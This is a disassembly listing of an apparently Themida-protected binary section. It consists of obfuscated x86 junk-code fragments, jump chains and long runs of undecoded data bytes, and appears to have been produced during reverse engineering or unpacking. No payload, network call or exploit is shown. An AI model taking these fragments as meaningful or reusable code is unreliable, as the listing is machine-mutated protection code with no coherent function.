		dd 8B24048Fh, 0B4502424h, 80E4D08Fh, 0F48056ECh, 52CCFE01h
		dd 0FFD695E9h, 4C483FFh, 0E9240C33h, 0FFFF73CFh, 0F7DFF74Fh
		dd 0EC8347D7h, 243C8904h, 0E92414F7h, 0FFFF8F1Fh, 4BE9C801h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56677F:				; CODE XREF: Themida_:0055DB9Cj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0EE9052Bh
		and	edi, 353002E7h
		sub	edi, 4D80133Fh
		shr	edi, 7
		jmp	loc_5616C9
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 0E9h
		dd 0FFFF55B7h, 0CF1CE95Fh, 0EE81FFFFh, 173967A6h, 56ADE9h
		db 0
; ---------------------------------------------------------------------------

loc_5667B9:				; CODE XREF: Themida_:0056130Ej
		push	edi
		mov	edi, ebp
		mov	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 6EC93A8Bh
		jmp	loc_562A83
; ---------------------------------------------------------------------------
		dd 8704C283h, 315C2414h, 0EEBB53C3h, 57510C2Bh,	3228BFBFh
		dd 0E9FB01B7h, 71B7h
; ---------------------------------------------------------------------------

loc_5667EC:				; CODE XREF: Themida_:00559239j
		add	edi, edx
		add	edi, 0CAB1481h
		pop	edx
		jmp	loc_563E8D
; ---------------------------------------------------------------------------

loc_5667FA:				; CODE XREF: Themida_:005609BAj
		push	edx
		jmp	loc_564431
; ---------------------------------------------------------------------------
		dd 0D6F74E46h, 3ACCCE81h, 0EE816409h, 9B5AE82Dh, 815EF529h
		dd 0F856B1EDh, 0F520E928h, 0E981FFFFh, 40ED701Ah, 59CF895Bh
		dd 24348157h, 4A8B5E96h, 5E963558h, 74E94A8Bh
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56683B:				; CODE XREF: Themida_:0056C24Dj
		push	eax
		jmp	loc_5592C3
; ---------------------------------------------------------------------------

loc_566841:				; CODE XREF: Themida_:0056C1ECj
		sub	esp, 4
		jmp	loc_55FFEE
; ---------------------------------------------------------------------------

loc_566849:				; CODE XREF: Themida_:0056061Aj
		add	esp, 4
		push	eax
		jmp	loc_55FBF6
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0FC647A5h, 0FFB4B1E9h, 0D0F581FFh, 299EF635h, 0D6295DEAh
		dd 8124148Bh, 4C4h, 3990E900h, 74FFFFFFh, 8F5F0424h, 248B2404h
		dd 0C8B6624h, 0F1E95224h, 59FFFF7Ah, 4C181h, 1BE90000h
		dd 50FFFFFAh, 4B2F9EB8h, 0DA95E900h, 1489FFFFh,	24048124h
		dd 6D6411C9h, 7647E9h, 0E9565300h, 0FFFF978Ah, 15E9EB01h
		dd 5F00000Eh, 4C281h, 14330000h, 24143124h, 0FFD8BFE9h
		dd 5FFD89FFh, 0B1F1E955h, 0EB83FFFFh, 241C8704h, 240C895Ch
		dd 5C3D92B9h, 2A0BE922h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5668EE:				; CODE XREF: Themida_:00564674j
		sub	dl, 0C1h
		pop	eax
		add	bl, dl
		mov	edx, [esp]
		push	edi
		push	esp
		pop	edi
		push	ebp
		jmp	loc_5618A1
; ---------------------------------------------------------------------------
		dd 81CF0159h, 0FA280EC7h, 25EF813Ch, 591FFB41h,	13F368h
		dd 2D4CE900h, 0D001FFFFh, 291CE95Ah, 0BA52FFFFh, 48251351h
		dd 0FFAC7CE9h, 99EA81FFh, 0E9540076h, 0FFFF5838h, 0DAE9AEB5h
		dd 5E000067h, 78EDBE66h, 0C68166h, 0CE016664h, 4BA6652h
		dd 0C283663Ch, 42ECE9FFh, 0E689FFFFh, 4C681h, 0C6830000h
		dd 6CA3E904h, 0C4830000h, 241C8B04h, 4C481h, 0CAE90000h
		dd 81000013h, 0DDC59AEFh, 5FFB018Dh, 875BDA01h,	3B5C2414h
		dd 0F9E99CC8h, 33FFFF1Eh, 14312414h, 24143324h,	52D665Ch
		dd 0E8296656h, 0FF409CE9h, 5AD601FFh, 0FFF2C9E9h, 4B850FFh
		dd 1000000h, 24048BC3h,	299568h, 24148900h, 0C281E289h
		dd 4, 4C281h, 0FF520000h, 5A042474h, 5C24048Fh,	4B850h
		dd 0BE560000h, 3B214D3Ah, 562DE681h, 0E6C12F7Fh, 6DE68105h
		dd 814DA62Ch, 4ECh, 242C8900h, 8C54CABDh, 60F58100h, 8126001Eh
		dd 901C1CC5h, 81DDF70Bh, 0AB1338C5h, 9EED8167h,	9F2365Ch
		dd 7C685DEEh, 8900003Fh, 83BB241Ch, 31659D19h, 0F3295BDEh
		dd 5DFCE95Eh, 0E0C1FFFFh, 35D8F702h, 0E8C85E4h,	3FE9C131h
		dd 0BDFFFF8Dh, 0E217DCB0h, 0FFDA71E9h, 46857FFh, 0E9000000h
		dd 0FFFF58CCh, 1C665ABDh, 75CAE954h, 0C8BFFFFh,	4C48324h
		dd 4C381h, 1C330000h, 5A9DE924h, 68BFFFFFh, 51217E01h
		dd 185787B9h, 0E9CF0140h, 399Ch, 582434FFh, 0FF9B42E9h
		dd 508EBBFFh, 6C814718h, 79F60824h, 5C011914h, 44810824h
		dd 79F60824h, 8B5B1914h, 0C481242Ch, 4,	582434FFh, 4C481h
		dd 10680000h, 0E900005Eh, 0FFFFBA42h
; ---------------------------------------------------------------------------

loc_566AD0:				; CODE XREF: Themida_:00563F89j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5650CB
; ---------------------------------------------------------------------------
		db 51h
		dd 42474FFh, 24048F59h,	26ADE95Ch, 0EC83FFFFh, 24048904h
		dd 0E9685854h, 89000011h, 5CE92414h, 0FFFF8Dh, 0E95158E3h
		dd 0B53h, 5E5568h, 242C8900h, 250F68h, 240C8900h, 0FFCB2AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566B1D:				; CODE XREF: Themida_:0056899Bj
		push	esp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5626E7
; ---------------------------------------------------------------------------

loc_566B45:				; CODE XREF: Themida_:00568ECDj
		xor	edi, 0B4B3F5BEh
		add	ebx, edi
		pop	edi
		push	edx
		mov	edx, 2
		add	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		dd 0E4E9575Eh, 100001Fh, 0EA815DEAh, 4,	5C241487h, 0FF6B20E9h
		dd 0FFD089FFh, 575A2434h, 0C781E789h, 4, 0FF8C38E9h, 0A0BB53FFh
		dd 1FA944Eh, 0D0015BDAh, 8124148Bh, 4C4h, 4C08300h, 5C240487h
		dd 8B2434FFh, 1EE9240Ch, 59FFFF78h, 5004C483h, 0D34711B8h
		dd 2AF52532h, 0F3052477h, 1DFACFDh, 156FE9C1h, 0ECB90000h
		dd 2951FB75h, 0CA8159CAh, 2C703927h, 0FFB5EEE9h, 80C3FEFFh
		dd 0CB8078CBh, 0E9DBF670h, 0FFFFD430h, 24048B66h, 30DE68h
		dd 0BE6FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566C1A:				; CODE XREF: Themida_:0055C242j
		sub	esp, 4
		mov	[esp], eax
		add	dword ptr [esp], 73D14ABBh
		pop	dword ptr [edx+30h]
		push	eax
		push	edi
		mov	edi, 24DB630Dh
		and	edi, 2EB66923h
		jmp	loc_56DBF1
; ---------------------------------------------------------------------------
		dd offset loc_401666+2
		dd 243C8900h, 0FF9879E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566C49:				; CODE XREF: Themida_:0055C63Dj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 75286D77h
		push	edx
		mov	edx, 9316511h
		add	ebx, edx
		pop	edx
		add	ebx, 1B070B5Dh
		sub	ebx, 778E18DFh
		xor	ebx, 7F456A6h
		add	ebx, 0D9D96C64h
		add	edi, ebx
		pop	ebx
		push	edx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_567D98
; ---------------------------------------------------------------------------

loc_566C87:				; CODE XREF: Themida_:0056DBF4j
		xor	edi, 54E24CCFh
		add	edi, 6B3B7F49h
		or	edi, 696541E9h
		sub	edi, 7616A12Eh
		mov	eax, edi
		pop	edi
		jmp	loc_55C4D0
; ---------------------------------------------------------------------------

loc_566CA7:				; CODE XREF: Themida_:00568878j
		xor	edi, eax
		push	dword ptr [esp]
		jmp	loc_56DC65
; ---------------------------------------------------------------------------
		db 0BEh, 83h, 67h
		dd 39E96603h, 54FFFF36h, 0FFC980E9h, 0F5805BFFh, 5BFD00D6h
		dd 0E921EB80h, 0FFFFAE03h
; ---------------------------------------------------------------------------

loc_566CD0:				; CODE XREF: Themida_:00560DDAj
		or	eax, eax
		jz	loc_569634
		push	506Dh
		mov	[esp], edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_55F706
; ---------------------------------------------------------------------------
		dd 5557E289h, 3C599F68h, 242C8B3Ch, 4C481h, 0B3E90000h
		dd 0FFFFFF84h, 0E9042474h, 6779h, 0CF5125BDh, 59CD2955h
		dd 0D6C5814Dh, 0E9E63333h, 0DD4h, 0FF1B5BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566D31:				; CODE XREF: Themida_:0055C6E7j
		mov	ecx, 4DD50B34h
		jmp	loc_562634
; ---------------------------------------------------------------------------

loc_566D3B:				; CODE XREF: Themida_:0056A457j
		not	dword ptr [esp]
		pop	ebp
		inc	ebp
		not	ebp
		neg	ebp
		sub	ebp, 0E956BDEAh
		add	eax, ebp
		pop	ebp
		push	edx
		mov	edx, 4
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		jmp	loc_55979B
; ---------------------------------------------------------------------------

loc_566D70:				; CODE XREF: Themida_:00560959j
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	70B0h
		mov	[esp], edi
		push	esi
		jmp	loc_55E2EE
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF1AF8h, 4B8h, 97C68100h,	0E919DB54h, 0FFFFD49Bh
		dd 93BC681h, 0EE815000h, 0ACB8A8E5h, 0E95EF729h, 0FFFF77A9h
		dd 0F7DFF747h, 0DEF81D7h, 126B859h, 0C2835FFAh,	0E6895602h
		dd 4C681h, 0EE830000h, 24348704h, 2414895Ch, 42474FFh
		dd 8124148Bh, 4C4h, 24048F00h, 6624248Bh, 2404B30Fh, 1A92E99Ch
		dd 4B8FFFFh, 1000000h, 8B042444h, 0C4832404h, 24148B04h
		dd 81E38953h, 4C3h, 4C38300h, 0FFCCB7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566E1D:				; CODE XREF: Themida_:005639F7j
		dec	edx
		xchg	edx, edi
		shr	edi, 5
		jmp	loc_560762
; ---------------------------------------------------------------------------
aBaigai		db '³B€ëG€ëË',0
		db 0DEh, 0E9h, 0A3h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566E37:				; CODE XREF: Themida_:0055C87Aj
		shl	edx, 1
		sub	esp, 4
		jmp	loc_55A0BB
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 0E9h
		dd 0FFFFA0C6h, 4B951h, 0EE810000h, 15EC0A23h, 63E9CE29h
		dd 0C1000046h, 0C28104E2h, 5BCDB9F4h, 0DE9D789h, 0BEFFFF5Dh
		dd 13921ABFh, 5DEE9h
		db 0
; ---------------------------------------------------------------------------

loc_566E75:				; CODE XREF: Themida_:0056D0B5j
		inc	edi
		jmp	loc_55D6D7
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 14D36659h, 1E99C24h, 42FFFF1Ah, 88BD5542h
		dd 81146846h, 39697ECDh, 0F9BFE965h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566E9E:				; CODE XREF: Themida_:0055A39Bj
		add	eax, 4
		add	eax, 4
		jmp	loc_56DD48
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0FBh
		dd 100075Dh, 0B883E9FBh, 0E9ACFFFFh, 5EBFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	6708h
		mov	[esp], ecx
		mov	ecx, 33FF24DBh
		sub	ecx, 1FF26D84h
		xor	ecx, ebx
		xor	ebx, ecx
		jmp	loc_55D758
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFF752E9h, 240C31FFh, 0E9240C33h, 3919h, 0E904C483h
		dd 0FFFF4BCBh
; ---------------------------------------------------------------------------

loc_566F08:				; CODE XREF: Themida_:0056B177j
		add	ebp, 0FC78493Fh
		jmp	loc_565DDB
; ---------------------------------------------------------------------------

loc_566F13:				; CODE XREF: Themida_:0055F984j
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	ecx, 0Bh
		push	ecx
		push	esp
		pop	ecx
		push	633h
		mov	[esp], esi
		mov	esi, 0F66BD9h
		shr	esi, 7
		shl	esi, 6
		not	esi
		and	esi, 4B537E8Fh
		add	esi, 0B4FFB5F5h
		add	ecx, esi
		pop	esi
		push	edi
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		jmp	loc_55DCAB
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0FE685224h, 89000077h, 68522424h, 4,	2454015Ah, 34FF5A04h
		dd 0A8E95A24h, 5AFFFFCBh, 0E9D3F659h, 0FFFF3335h
; ---------------------------------------------------------------------------

loc_566F7C:				; CODE XREF: Themida_:0056B140j
		sub	ebx, edx
		pop	edx
		jmp	loc_55C2F7
; ---------------------------------------------------------------------------

loc_566F84:				; CODE XREF: Themida_:00564C5Cj
		mov	ebp, [esp]
		add	esp, 4
		push	608Fh
		mov	[esp], eax
		jmp	loc_55DB5A
; ---------------------------------------------------------------------------
		dw 612Ch
		dd 57B6525Bh, 0EE80DEF6h, 0A1F6809Ah, 0D6F6D6F6h, 281CC680h
		dd 24148BF0h, 4C481h, 0D8000000h, 0E952CA04h, 0DA6h, 4EC81h
		dd 4BE90000h, 8100006Eh, 0A15BC8F5h, 71F5814Ah,	0E9605A2Ah
		dd 0FFFF4246h, 0C381C301h, 40D94F48h, 2F53C381h, 0E1E9035Bh
		dd 54000057h, 4EC835Ah,	57241C89h, 3D0BB268h, 0B9515F21h
		dd 69747F8h, 5759CF29h,	5F240CFFh, 6FF1C781h, 0FB89FE55h
		dd 57DEE95Fh, 0E95F0000h, 2E0Bh
; ---------------------------------------------------------------------------

loc_567024:				; CODE XREF: Themida_:0056C45Fj
		pop	esi
		pop	dword ptr [esp]
		not	esi
		xchg	esi, [esp]
		jmp	loc_5658C2
; ---------------------------------------------------------------------------
aRhvl		db 'Rhvl',0
		align 4
		dd 68240C89h, 68E3F8Dh,	0FFCE2AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567045:				; CODE XREF: Themida_:0055EF4Fj
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	edi
		jmp	loc_55BA1C
; ---------------------------------------------------------------------------
		db 81h
		dd 0F2E2404h, 815D3809h, 90F2EEDh, 0B9515938h, 6B1C4744h
		dd 37A1BA52h, 43E97DC3h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_567073:				; CODE XREF: Themida_:0056802Fj
		add	ebx, 4
		jmp	loc_55936E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFFF7EC4h, 0FF2434FFh
		dd 49E92434h, 2DFFFF28h, 64A0B63Ch, 24CBC781h, 0EEE97F5Eh
		dd 89FFFF67h, 6AE95EF2h, 0FFFFFF30h, 0E99C2404h, 0FFFF17D0h
		dd 0EB31DD31h, 2414F755h, 0E9EB875Dh, 261Eh
; ---------------------------------------------------------------------------

loc_5670CC:				; CODE XREF: Themida_:005663F4j
		push	199B6FDDh
		jmp	loc_5698E1
; ---------------------------------------------------------------------------
aZswf		db 'ZéwF',0
		align 4
		dd 69E9FD01h, 81FFFFA2h, 7197242Ch, 815A4906h, 67197C2h
		dd 2434FF49h, 18E9555Fh, 5FFFFFD7h, 4C481h, 0FF520000h
		dd 5A042474h, 0E924048Fh, 66F0h
; ---------------------------------------------------------------------------

loc_567110:				; CODE XREF: Themida_:00563B0Aj
		pop	edi
		xor	edi, 6A77F390h
		add	eax, edi
		jmp	loc_568D61
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 3F110443h, 0FF4C59E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567129:				; CODE XREF: Themida_:0055F773j
		add	edx, 4
		jmp	loc_56C587
; ---------------------------------------------------------------------------

loc_567134:				; CODE XREF: Themida_:0055AF38j
		mov	edx, 631A16E4h
		add	edx, 1
		push	ecx
		jmp	loc_55BF23
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0D8E9240Ch, 2DFFFF45h, 3D536556h, 0FF67F2E9h, 0E9CBFEFFh
		dd 0FFFF3732h
; ---------------------------------------------------------------------------

loc_56715C:				; CODE XREF: Themida_:0056912Fj
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 12AE3533h
		add	edx, 0ED51CAD1h
		add	ecx, edx
		pop	edx
		jmp	loc_55C283
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 0FF5DA7E9h, 0EA8158FFh, 176E30BEh, 6BFEC281h, 0C2015075h
		dd 6BFEEA81h, 0C2815075h, 176E30BEh, 4E90EA81h,	74686906h
		dd 89000029h, 0BF57240Ch, 2C5B36FFh, 0E95FF989h, 1AD1h
		dd 0B5240C89h, 28B55101h, 0E580DDF6h, 0EEED8068h, 0C8BEA88h
		dd 4C48324h, 0E9D0C280h, 6AB0h,	4B8h, 24448100h, 8B666B04h
		dd 24440157h, 246C8104h, 8B666B04h, 48F5857h, 2BC66824h
		dd 3C890000h, 4BF24h, 0C4680000h, 8900002Dh, 7E9243Ch
		dd 8BFFFF9Ch, 0FCE9241Ch, 66FFFFF2h, 667EB4BAh,	5A66D329h
		dd 5FB168h, 326CE900h, 34890000h, 71685124h, 8900001Bh
		dd 99B82404h, 0F710D342h, 0B2E955D0h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_567247:				; CODE XREF: Themida_:0056266Fj
		add	edx, 4
		push	eax
		mov	eax, esp
		jmp	loc_564F38
; ---------------------------------------------------------------------------

loc_567255:				; CODE XREF: Themida_:00565260j
		add	esi, 31557321h
		pop	ecx
		jmp	loc_568E79
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 15h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567267:				; CODE XREF: Themida_:00569657j
		mov	bl, ch
		mov	ah, bl
		jmp	loc_565BD8
; ---------------------------------------------------------------------------
		dd 0B92A12BDh, 0ED814D38h, 508D4B99h, 4588C581h, 0EA2928D9h
		dd 0C1EA815Dh, 29104342h, 0C1C281F2h, 50104342h, 74EDBF57h
		dd 0EFC17816h, 82C78103h, 0E91CEF04h, 0FFFFCC91h, 81E9EF21h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5672AF:				; CODE XREF: Themida_:0055F65Ej
		div	cl
		movzx	cx, ah
		jmp	loc_55EB23
; ---------------------------------------------------------------------------
		dw 0F6B9h
		dd 29AD466Fh, 0CCC8E9CDh, 2489FFFFh, 24048124h,	4, 4C6815Eh
		dd 83000000h, 348704EEh, 24248B24h, 0BF243C89h,	461C67BBh
		dd 9BA524Fh, 21062607h,	0BD555AD7h, 70893309h, 0FF18D5E9h
		dd 4EC83FFh, 52243C89h,	0FF201AE9h, 81C229FFh, 0E13964C2h
		dd 94E95837h, 5B000063h, 79C1BE56h, 0EEC16415h,	45C68102h
		dd 167A122h, 0CB895EF1h, 81240C8Bh, 4C4h, 1C5F0900h, 0E92434FFh
		dd 0FFFF3D57h, 65DC685Fh, 45E90BB6h, 54FFFF4Bh,	40558h
		dd 0E8830000h, 24043304h, 0FFE3C3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56735D:				; CODE XREF: Themida_:0055C448j
		xor	ebx, 4FE01EEFh
		sub	ebx, 0D8A24D53h
		sub	ebp, 62D0648Ah
		add	ebp, ebx
		add	ebp, 62D0648Ah
		jmp	loc_56404D
; ---------------------------------------------------------------------------
		dd 4AE9CB21h, 35FFFFA4h, 7BAB3B08h, 18E9C131h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56738F:				; CODE XREF: Themida_:00565BE9j
		pop	esp
		and	ecx, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 11044411h
		shl	esi, 3
		dec	esi
		shr	esi, 5
		shl	esi, 3
		add	esi, 0DDF777E4h
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55C5BA
; ---------------------------------------------------------------------------
		dd 0F701ED83h, 0E311E9DDh, 0F800FFFFh, 241C8B66h, 2C02C483h
		dd 305AE9F0h, 685BFFFFh, 36C2h,	89240489h, 405E0h, 4050000h
		dd 87000000h, 248B2404h, 0A4E95324h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56741F:				; CODE XREF: Themida_:00559661j
		xor	ecx, edx
		jmp	loc_55BC2D
; ---------------------------------------------------------------------------

loc_567426:				; CODE XREF: Themida_:00567F0Cj
		add	edi, ebx
		pop	ebx
		not	edi
		jmp	loc_56B91F
; ---------------------------------------------------------------------------

loc_567430:				; CODE XREF: Themida_:0055F9EBj
		mov	ecx, edx
		pop	edx
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_5644AC
; ---------------------------------------------------------------------------

loc_56743D:				; CODE XREF: Themida_:0055B466j
		or	dh, 0CDh
		dec	dh
		shl	dh, 7
		and	dh, 0B1h
		add	dh, 0D7h
		mov	cl, dh
		pop	edx
		jmp	loc_56A68B
; ---------------------------------------------------------------------------
		db 81h
		dd 74321ECEh, 0DEF6812Eh, 31D17B02h, 24348BF7h,	8904C483h
		dd 0E1C15FF9h, 0E9555003h, 0FFFF99C1h, 3596D6F7h, 406838E3h
		dd 0FF6669E9h, 50D7F7FFh, 1B8h,	58C70100h, 243C8757h, 3C87D7F7h
		dd 1E3CE924h, 2B80000h,	1000000h, 6EE958C2h, 4300001Eh
		dd 1E8068h, 242C8900h, 1F0F59BDh, 5DEB2901h, 415BD921h
		dd 6DDCF181h, 0C8013297h, 83240C8Bh, 3C8B04C4h,	4C48124h
		dd 31000000h, 50268C3h,	14890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_564632
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
aPNfs		db 'P°nfS·#',0
		dd 885B66F8h, 0E1C058C1h, 0FFC18006h, 0E95AF180h, 5513h
; ---------------------------------------------------------------------------

loc_567510:				; CODE XREF: Themida_:0055AE9Dj
		pop	esi
		and	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_565A7E
; ---------------------------------------------------------------------------
		dd offset aOftwareElect_8+3Bh
		align 2
		dw 1489h
		dd 5B35BA24h, 0F281270Eh, 0A9D4C76h, 4565F281h,	0C2811C6Ah
		dd 8310FFh, 0E908E2C1h,	0FFFFA25Fh, 3D7CE95Dh, 0E089FFFFh
		dd 405h, 40500h, 4870000h, 66685C24h, 8900001Dh, 48E9241Ch
		dd 50FFFFBEh, 515268h, 240C8900h, 0EC88D588h, 83240C8Bh
		dd 0E58804C4h, 8124048Bh, 4C4h,	81B45A00h, 809DF480h, 0DCF625F4h
		dd 65C480h, 0E18859ECh,	66CA3058h, 83240C8Bh, 0D00002C4h
		dd 41A5685Ah, 0C890000h, 0F376E924h, 0EC81FFFFh, 4, 0FF241489h
		dd 0FF042474h, 515A2434h, 65E9E189h, 81FFFF3Eh,	4C4h, 0E6B95100h
		dd 0C15F9B19h, 0E18107E1h, 5665B2Dh, 12B8E9h, 3C685300h
		dd 5B17E645h, 42E95E53h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_567603:				; CODE XREF: Themida_:00565F8Bj
		add	ecx, edx
		pop	edx
		add	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 4
		jmp	loc_56DA7F
; ---------------------------------------------------------------------------
		dd 4EA815Ah, 8B687850h,	0C481243Ch, 4, 148BD001h, 5B545324h
		dd 4C381h, 0E9550000h, 0FFFFEC8Dh, 4EC815Eh, 89000000h
		dd 0BE56241Ch, 20C73EEEh, 4E6C146h, 0C681EED1h,	6B2C76CEh
		dd 0BE9F389h, 0B1FFFF56h, 3B050D0h, 0FFAFD7E9h,	240489FFh
		dd 554A9AB8h, 58C58905h, 0CBC6ED81h, 0EC83886Eh, 24348904h
		dd 0F289EE89h, 5E2434FFh, 5D04C483h, 315AD131h,	0EC8159CBh
		dd 4, 55240489h, 2AE0E9h, 24348B00h, 0FF5407E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5676A5:				; CODE XREF: Themida_:0056164Aj
		inc	ebp
		push	ebx
		jmp	loc_55CB60
; ---------------------------------------------------------------------------

loc_5676AC:				; CODE XREF: Themida_:00561172j
		add	eax, 774D0F5Bh
		sub	eax, ebp
		sub	eax, 774D0F5Bh
		pop	ebp
		jmp	loc_564DE5
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 68000000h,	1968h, 0E9241C89h, 0FF7h, 2BD555Dh
		dd 1000000h, 2434FFEBh,	64F5E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5676E6:				; CODE XREF: Themida_:0056A8A8j
		mov	ebx, 4
		jmp	loc_565B7D
; ---------------------------------------------------------------------------
		dd 515BDA31h, 0FF4EE4E9h, 0F5285BFFh, 24148B66h, 8002C483h
		dd 0AFE9DFF5h, 8B000006h, 23E92424h, 68FFFF74h,	5F99h
		dd 57240C89h, 661C92BFh, 0E9EFD14Ch, 1132h, 16850h, 0E9580000h
		dd 0FFFF6C12h
; ---------------------------------------------------------------------------

loc_567734:				; CODE XREF: Themida_:0055C496j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		jmp	loc_564DB5
; ---------------------------------------------------------------------------
		db 0FFh
a4Hji		db '4$]h†i',0
		align 4
		dd 68241C89h, 0CD7h, 83242489h,	8B042404h, 0C481241Ch
		dd 4, 0FF9779E9h, 0ACE95AFFh, 8FFFFF45h, 248B2404h, 24042824h
		dd 110EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56777E:				; CODE XREF: Themida_:00567B7Aj
		mov	edx, 4A696991h
		jmp	loc_56A96B
; ---------------------------------------------------------------------------
		dd 6BC58158h, 8B550B43h, 0C481240Ch, 4,	0FF737EE9h, 4531BAFFh
		dd 0ED680195h, 0E9000073h, 0D6Ah, 582434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_562F26
; ---------------------------------------------------------------------------
		dd 2474FF56h, 48F5E04h,	0E9535C24h, 0FFFF2423h
; ---------------------------------------------------------------------------

loc_5677C8:				; CODE XREF: Themida_:00558A38j
		pop	esp
		mov	[esp], eax
		jmp	loc_56244E
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 3359h
; ---------------------------------------------------------------------------

loc_5677DC:				; CODE XREF: Themida_:00564C67j
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 0CDDEE917h
		sub	ebx, 38FC748Eh
		sub	ebx, ebp
		add	ebx, 38FC748Eh
		pop	ebp
		push	esi
		jmp	loc_56BCFB
; ---------------------------------------------------------------------------
		dw 0C829h
		dd 5D00159h, 749A6C6Ah,	6824148Bh, 36F5h, 0FF905FE9h, 19ED81FFh
		dd 0C13BA32Fh, 0F58106E5h, 0B880887Eh, 295DEE89h, 0D8015EF0h
		dd 80293E05h, 13BE5672h, 294AC208h, 24348BF0h, 6804C483h
		dd 6CDEh, 0BF243C89h, 6B3DFA94h, 0FFCB50E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567855:				; CODE XREF: Themida_:0055A370j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56C193
; ---------------------------------------------------------------------------

loc_567866:				; CODE XREF: Themida_:00567ECBj
		pop	eax
		xor	ebp, 6B8F1517h
		shl	ebp, 2
		not	ebp
		push	edi
		mov	edi, 742B33CFh
		inc	edi
		sub	edi, 668AF7CEh
		or	ebp, edi
		jmp	loc_561139
; ---------------------------------------------------------------------------
		dw 515Ah
		dd 12454F6h, 52C5FE59h,	0FF7D3BE9h, 6E6C1FFh, 2CC4F681h
		dd 0F5012018h, 4C5835Eh, 8B242C87h, 0DDE92424h,	52FFFF0Fh
		dd 0E17318BAh, 81DAF768h, 872515C2h, 5AD13101h,	5059CE01h
